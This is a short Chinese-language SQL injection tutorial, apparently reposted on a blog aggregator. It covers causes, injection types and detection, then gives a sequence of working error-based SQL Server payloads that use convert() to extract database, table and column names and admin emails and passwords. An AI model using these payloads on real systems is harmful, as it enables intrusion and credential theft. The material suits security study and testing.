mysql 永真_sql注入
Sql注入
Sql注入成因:
1)轉義字符處理不當(如’,--,/**/,會截斷原有的語句,執行新語句);
2)類型處理不當(如接受的是整型的參數,并沒有校驗也可以接受字符型數據)
3)查詢語句的組裝不當
4)錯誤處理不當
5)權限配置不當(可以執行高權限語句)
Sql注入類型:
從參數的角度:基于字符型和數字型的
基于錯誤的(基于響應時間的盲注,基于相應的注入)可以直觀的看到我們查詢結果的一類,看不到查詢結果就是盲注
識別sql注入:
1.永真和永假表達式: or 1=1—
2.語句執行的報錯信息:Having(聚合函數)若select字段沒有包含在having里面,則會報錯,證明注入成功
3.特定數據的連接符:(根據不同數據庫的連接符不相同)
i.Sqlsever(+連接)1’or ‘ab’=’a’+’b’—(永真)
ii.Mysql(空格連接)1’or ‘ab’=’a’’b’ (永真)
iii.奧瑞考(||連接)1’or ‘ab’=’a’||’b’
基于錯誤的sql注入基本原理:
1.判斷;2.判斷數據庫
Sqlsever數據庫中convert是一個進行類型轉換的函數
1=convert(int,@@version)--
拆解庫名:1=convert(int,db_name())--
得到當前用戶名:1=convert(int,user_name())—
拆解表名:
1=convert(int,(select top 1 table_name from information_schema_tables))—
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次選中的表名,就可以得到第二個表名,以此類推
拆解列名:
1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—
1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—
得到字段數據:
1=convert(int,(select top 1 email_id from pp_admin_tb))—
得到字段數據;
1=convert(int,(select top 1 password from pp_admin_tb))—
總結
以上是生活随笔為你收集整理的mysql 永真_sql注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php layout布局文件,layou
- 下一篇: java基础进阶(文件列表,线程,线程组